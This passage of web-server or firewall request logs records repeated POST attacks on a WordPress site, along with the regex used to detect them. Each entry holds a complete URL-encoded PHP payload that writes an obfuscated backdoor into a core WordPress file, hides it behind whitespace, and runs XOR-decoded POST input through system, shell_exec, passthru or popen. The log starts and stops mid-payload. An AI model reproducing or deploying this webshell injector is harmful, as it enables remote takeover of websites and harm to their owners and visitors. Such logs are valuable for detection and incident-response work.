55Cx68ru%2522%253B%2520%2524hub_center2%2520%253D%2520%2522sh%255Cx65l%255Cx6C%255Cx5F%255Cx65x%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%2529%2520%257B%2520function%2520auth_exception_handler%2520%2528%2520%2524pointer%2520%252C%2520%2524obj%2520%2529%2520%257B%2520%2524binding%2520%253D%2520%2527%2527%253B%2520%2524s%253D0%253B%2520while%2528%2524s%253Cstrlen%2528%2524pointer%2529%2529%257B%2520%2524binding.%253Dchr%2528ord%2528%2524pointer%255B%2524s%255D%2529%255E%2524obj%2529%253B%2520%2524s%252B%252B%253B%2520%257D%2520return%2520%2524binding%253B%2520%257D%2520%2524reference%2520%253D%2520%2524data_storage%2528%2524_POST%255B%2522r%255Cx65%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%253B%2520%2524reference%2520%253D%2520auth_exception_handler%2528%2524reference%252C%252030%2529%253B%2520if%2520%2528function_exists%2528%2524hub_center1%2529%2529%2520%257B%2520%2524hub_center1%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center2%2529%2529%2520%257B%2520print%2520%2524hub_center2%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center3%2529%2529%2520%257B%2520%2524hub_center3%2528%2524reference%252C%2520%2524ent_pointer%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524ent_pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center4%2529%2529%2520%257B%2520%2524hub_center4%2528%2524reference%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center5%2529%2520%2526%2526%2520function_exists%2528%2524hub_center6%2529%2520%2526%2526%2520function_exists%2528%2524hub_center7%2529%2529%2520%257B%2520%2524obj_binding%2520%253D%2520%2524hub_center5%2528%2524reference%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524obj_binding%2529%2520%257B%2520%2524entry_property_set%2520%253D%2520%2524hub_center6%2528%2524obj_binding%2529%253B%2520%2524hub_center7%2528%2524obj_binding%2529%253B%2520print%2520%2524entry_property_set%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:45:46","52.232.35.131","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> us:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-http-curl.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524mutex_lock%2520%253D%2520%2522h%255Cx65%255Cx782%255Cx62in%2522%253B%2520%2524buffer_cache2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65l%255Cx6C_%255Cx65xec%2522%253B%2520%2524buffer_cache3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524buffer_cache6%2520%253D%2520%2522s%255Cx74r%255Cx65a%255Cx6D%255Cx5F%255Cx67%255Cx65%255Cx74%255Cx5F%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache4%2520%253D%2520%2522pas%255Cx73t%255Cx68r%255Cx75%2522%253B%2520%2524buffer_cache7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524buffer_cache1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524buffer_cache5%2520%253D%2520%2522pop%255Cx65%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64at%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524val%2520%252C%2520%2524pointer%2520%2529%257B%2520%2524ptr%2520%253D%2527%2527%253B%2520for%2528%2524z%253D0%253B%2520%2524z%253Cstrlen%2528%2524val%2529%253B%2520%2524z%252B%252B%2529%257B%2524ptr.%253Dchr%2528ord%2528%2524val%255B%2524z%255D%2529%255E%2524pointer%2529%253B%257D%2520return%2520%2524ptr%253B%257D%2520%2524dat%2520%253D%2520%2524mutex_lock%2528%2524_POST%255B%2522%255Cx64at%2522%255D%2529%253B%2520%2524dat%2520%253D%2520service_registry%2528%2524dat%252C%252015%2529%253B%2520if%2520%2528function_exists%2528%2524buffer_cache1%2529%2529%2520%257B%2520%2524buffer_cache1%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache2%2529%2529%2520%257B%2520print%2520%2524buffer_cache2%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache3%2529%2529%2520%257B%2520%2524buffer_cache3%2528%2524dat%252C%2520%2524holder_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524holder_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache4%2529%2529%2520%257B%2520%2524buffer_cache4%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache5%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache6%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache7%2529%2529%2520%257B%2520%2524pointer_ptr%2520%253D%2520%2524buffer_cache5%2528%2524dat%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pointer_ptr%2529%2520%257B%2520%2524hld_tkn%2520%253D%2520%2524buffer_cache6%2528%2524pointer_ptr%2529%253B%2520%2524buffer_cache7%2528%2524pointer_ptr%2529%253B%2520print%2520%2524hld_tkn%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:5193\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqKZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nus=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-http-curl.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524mutex_lock%2520%253D%2520%2522h%255Cx65%255Cx782%255Cx62in%2522%253B%2520%2524buffer_cache2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65l%255Cx6C_%255Cx65xec%2522%253B%2520%2524buffer_cache3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524buffer_cache6%2520%253D%2520%2522s%255Cx74r%255Cx65a%255Cx6D%255Cx5F%255Cx67%255Cx65%255Cx74%255Cx5F%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache4%2520%253D%2520%2522pas%255Cx73t%255Cx68r%255Cx75%2522%253B%2520%2524buffer_cache7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524buffer_cache1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524buffer_cache5%2520%253D%2520%2522pop%255Cx65%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64at%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524val%2520%252C%2520%2524pointer%2520%2529%257B%2520%2524ptr%2520%253D%2527%2527%253B%2520for%2528%2524z%253D0%253B%2520%2524z%253Cstrlen%2528%2524val%2529%253B%2520%2524z%252B%252B%2529%257B%2524ptr.%253Dchr%2528ord%2528%2524val%255B%2524z%255D%2529%255E%2524pointer%2529%253B%257D%2520return%2520%2524ptr%253B%257D%2520%2524dat%2520%253D%2520%2524mutex_lock%2528%2524_POST%255B%2522%255Cx64at%2522%255D%2529%253B%2520%2524dat%2520%253D%2520service_registry%2528%2524dat%252C%252015%2529%253B%2520if%2520%2528function_exists%2528%2524buffer_cache1%2529%2529%2520%257B%2520%2524buffer_cache1%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache2%2529%2529%2520%257B%2520print%2520%2524buffer_cache2%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache3%2529%2529%2520%257B%2520%2524buffer_cache3%2528%2524dat%252C%2520%2524holder_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524holder_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache4%2529%2529%2520%257B%2520%2524buffer_cache4%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache5%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache6%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache7%2529%2529%2520%257B%2520%2524pointer_ptr%2520%253D%2520%2524buffer_cache5%2528%2524dat%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pointer_ptr%2529%2520%257B%2520%2524hld_tkn%2520%253D%2520%2524buffer_cache6%2528%2524pointer_ptr%2529%253B%2520%2524buffer_cache7%2528%2524pointer_ptr%2529%253B%2520print%2520%2524hld_tkn%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:45:49","43.230.201.87","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> PY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-http-curl.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524mutex_lock%2520%253D%2520%2522h%255Cx65%255Cx782%255Cx62in%2522%253B%2520%2524buffer_cache2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65l%255Cx6C_%255Cx65xec%2522%253B%2520%2524buffer_cache3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524buffer_cache6%2520%253D%2520%2522s%255Cx74r%255Cx65a%255Cx6D%255Cx5F%255Cx67%255Cx65%255Cx74%255Cx5F%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache4%2520%253D%2520%2522pas%255Cx73t%255Cx68r%255Cx75%2522%253B%2520%2524buffer_cache7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524buffer_cache1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524buffer_cache5%2520%253D%2520%2522pop%255Cx65%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64at%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524val%2520%252C%2520%2524pointer%2520%2529%257B%2520%2524ptr%2520%253D%2527%2527%253B%2520for%2528%2524z%253D0%253B%2520%2524z%253Cstrlen%2528%2524val%2529%253B%2520%2524z%252B%252B%2529%257B%2524ptr.%253Dchr%2528ord%2528%2524val%255B%2524z%255D%2529%255E%2524pointer%2529%253B%257D%2520return%2520%2524ptr%253B%257D%2520%2524dat%2520%253D%2520%2524mutex_lock%2528%2524_POST%255B%2522%255Cx64at%2522%255D%2529%253B%2520%2524dat%2520%253D%2520service_registry%2528%2524dat%252C%252015%2529%253B%2520if%2520%2528function_exists%2528%2524buffer_cache1%2529%2529%2520%257B%2520%2524buffer_cache1%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache2%2529%2529%2520%257B%2520print%2520%2524buffer_cache2%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache3%2529%2529%2520%257B%2520%2524buffer_cache3%2528%2524dat%252C%2520%2524holder_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524holder_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache4%2529%2529%2520%257B%2520%2524buffer_cache4%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache5%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache6%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache7%2529%2529%2520%257B%2520%2524pointer_ptr%2520%253D%2520%2524buffer_cache5%2528%2524dat%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pointer_ptr%2529%2520%257B%2520%2524hld_tkn%2520%253D%2520%2524buffer_cache6%2528%2524pointer_ptr%2529%253B%2520%2524buffer_cache7%2528%2524pointer_ptr%2529%253B%2520print%2520%2524hld_tkn%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:5193\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHSxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nPY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-http-curl.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524mutex_lock%2520%253D%2520%2522h%255Cx65%255Cx782%255Cx62in%2522%253B%2520%2524buffer_cache2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65l%255Cx6C_%255Cx65xec%2522%253B%2520%2524buffer_cache3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524buffer_cache6%2520%253D%2520%2522s%255Cx74r%255Cx65a%255Cx6D%255Cx5F%255Cx67%255Cx65%255Cx74%255Cx5F%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache4%2520%253D%2520%2522pas%255Cx73t%255Cx68r%255Cx75%2522%253B%2520%2524buffer_cache7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524buffer_cache1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524buffer_cache5%2520%253D%2520%2522pop%255Cx65%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64at%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524val%2520%252C%2520%2524pointer%2520%2529%257B%2520%2524ptr%2520%253D%2527%2527%253B%2520for%2528%2524z%253D0%253B%2520%2524z%253Cstrlen%2528%2524val%2529%253B%2520%2524z%252B%252B%2529%257B%2524ptr.%253Dchr%2528ord%2528%2524val%255B%2524z%255D%2529%255E%2524pointer%2529%253B%257D%2520return%2520%2524ptr%253B%257D%2520%2524dat%2520%253D%2520%2524mutex_lock%2528%2524_POST%255B%2522%255Cx64at%2522%255D%2529%253B%2520%2524dat%2520%253D%2520service_registry%2528%2524dat%252C%252015%2529%253B%2520if%2520%2528function_exists%2528%2524buffer_cache1%2529%2529%2520%257B%2520%2524buffer_cache1%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache2%2529%2529%2520%257B%2520print%2520%2524buffer_cache2%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache3%2529%2529%2520%257B%2520%2524buffer_cache3%2528%2524dat%252C%2520%2524holder_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524holder_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache4%2529%2529%2520%257B%2520%2524buffer_cache4%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache5%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache6%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache7%2529%2529%2520%257B%2520%2524pointer_ptr%2520%253D%2520%2524buffer_cache5%2528%2524dat%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pointer_ptr%2529%2520%257B%2520%2524hld_tkn%2520%253D%2520%2524buffer_cache6%2528%2524pointer_ptr%2529%253B%2520%2524buffer_cache7%2528%2524pointer_ptr%2529%253B%2520print%2520%2524hld_tkn%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:45:53","129.121.41.228","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> zV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-http-curl.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524mutex_lock%2520%253D%2520%2522h%255Cx65%255Cx782%255Cx62in%2522%253B%2520%2524buffer_cache2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65l%255Cx6C_%255Cx65xec%2522%253B%2520%2524buffer_cache3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524buffer_cache6%2520%253D%2520%2522s%255Cx74r%255Cx65a%255Cx6D%255Cx5F%255Cx67%255Cx65%255Cx74%255Cx5F%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache4%2520%253D%2520%2522pas%255Cx73t%255Cx68r%255Cx75%2522%253B%2520%2524buffer_cache7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524buffer_cache1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524buffer_cache5%2520%253D%2520%2522pop%255Cx65%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64at%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524val%2520%252C%2520%2524pointer%2520%2529%257B%2520%2524ptr%2520%253D%2527%2527%253B%2520for%2528%2524z%253D0%253B%2520%2524z%253Cstrlen%2528%2524val%2529%253B%2520%2524z%252B%252B%2529%257B%2524ptr.%253Dchr%2528ord%2528%2524val%255B%2524z%255D%2529%255E%2524pointer%2529%253B%257D%2520return%2520%2524ptr%253B%257D%2520%2524dat%2520%253D%2520%2524mutex_lock%2528%2524_POST%255B%2522%255Cx64at%2522%255D%2529%253B%2520%2524dat%2520%253D%2520service_registry%2528%2524dat%252C%252015%2529%253B%2520if%2520%2528function_exists%2528%2524buffer_cache1%2529%2529%2520%257B%2520%2524buffer_cache1%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache2%2529%2529%2520%257B%2520print%2520%2524buffer_cache2%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache3%2529%2529%2520%257B%2520%2524buffer_cache3%2528%2524dat%252C%2520%2524holder_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524holder_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache4%2529%2529%2520%257B%2520%2524buffer_cache4%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache5%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache6%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache7%2529%2529%2520%257B%2520%2524pointer_ptr%2520%253D%2520%2524buffer_cache5%2528%2524dat%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524poi